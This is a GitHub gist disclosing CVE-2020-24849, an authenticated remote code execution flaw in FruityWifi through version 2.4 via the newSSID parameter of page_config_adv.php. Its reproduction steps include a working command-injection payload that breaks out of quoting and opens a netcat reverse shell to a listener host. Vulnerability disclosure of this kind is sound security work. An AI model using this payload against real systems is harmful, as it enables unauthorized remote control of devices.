Skip to content

Instantly share code, notes, and snippets.

@harsh-bothra

harsh-bothra/CVE-2020-24849

Last active November 3, 2020 09:20
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save harsh-bothra/f899045b16bbba264628d79d52c07c22 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save harsh-bothra/f899045b16bbba264628d79d52c07c22 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. harsh-bothra renamed this gist Nov 3, 2020. 1 changed file with 0 additions and 0 deletions.
    0 gistfile1.txt → CVE-2020-24849
    View file
    File renamed without changes.
  2. harsh-bothra created this gist Nov 3, 2020.
    18 changes: 18 additions & 0 deletions gistfile1.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,18 @@
    Product: FruityWifi

    CVE: CVE-2020-24849

    Version: (, 2.4) - Tested on version 2.4

    Vulnerability: Remote Code Execution

    Vulnerability Description: A remote code execution vulnerability is identified in FruityWifi through 2.4.Due to improperly escaped shell metacharacters obtained from the POST request at the page_config_adv.php page, it is possible to perform remote code execution by an authenticated attacker. This is similar to CVE-2018-17317.

    # Steps to Reproduce:

    1. Login with credentials to the application.
    2. Go to "https://vuln_ip/scripts/page_config_adv.php".
    3. Intercept the request then change request method to POST.
    4. Add "newSSID" parameter in POST body and insert payload (newSSID=A\"B'C";rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.56.1+4441+>/tmp/f;#) and start nc listener on 4441 port.

    Note: In order to bypass, we need to satisfy the quotes then insert our payload. Send the request, you will be greeted with a shell.